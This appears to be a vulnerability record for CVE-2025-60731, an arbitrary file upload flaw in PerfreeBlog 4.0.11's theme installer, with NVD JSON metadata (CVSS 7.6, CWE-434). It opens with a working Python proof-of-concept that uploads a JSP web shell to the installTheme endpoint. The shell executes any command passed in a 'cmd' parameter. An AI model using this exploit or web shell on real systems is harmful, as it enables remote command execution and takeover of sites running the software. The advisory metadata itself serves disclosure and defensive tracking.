CVE-2025-60731

import requests import os url = 'http://target.com/api/theme/install' payload = {'file': ('shell.jsp', '<%@ page import="java.util.*,java.io.*"%><% if(request.getParameter("cmd")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));%><% } %>', 'application/octet-stream')} response = requests.post(url, files=payload) print(response.text)

{"cve": {"id": "CVE-2025-60731", "sourceIdentifier": "[email protected]", "published": "2025-10-24T18:15:41.043", "lastModified": "2025-10-27T17:48:55.137", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PerfreeBlog v4.0.11 has a File Upload vulnerability in the installTheme function"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:perfree:perfreeblog:4.0.11:*:*:*:*:*:*:*", "matchCriteriaId": "56788914-09FF-444D-B30C-0613B758089B"}]}]}], "references": [{"url": "http://perfreeblog.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/dengxmenglihua/cve/blob/main/PerfreeBlog/File%20Upload/Arbitrary%20File%20Upload%20Vulnerability%20in%20PerfreeBlog%20System.md", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://perfree.org.cn/", "source": "[email protected]", "tags": ["Product"]}]}}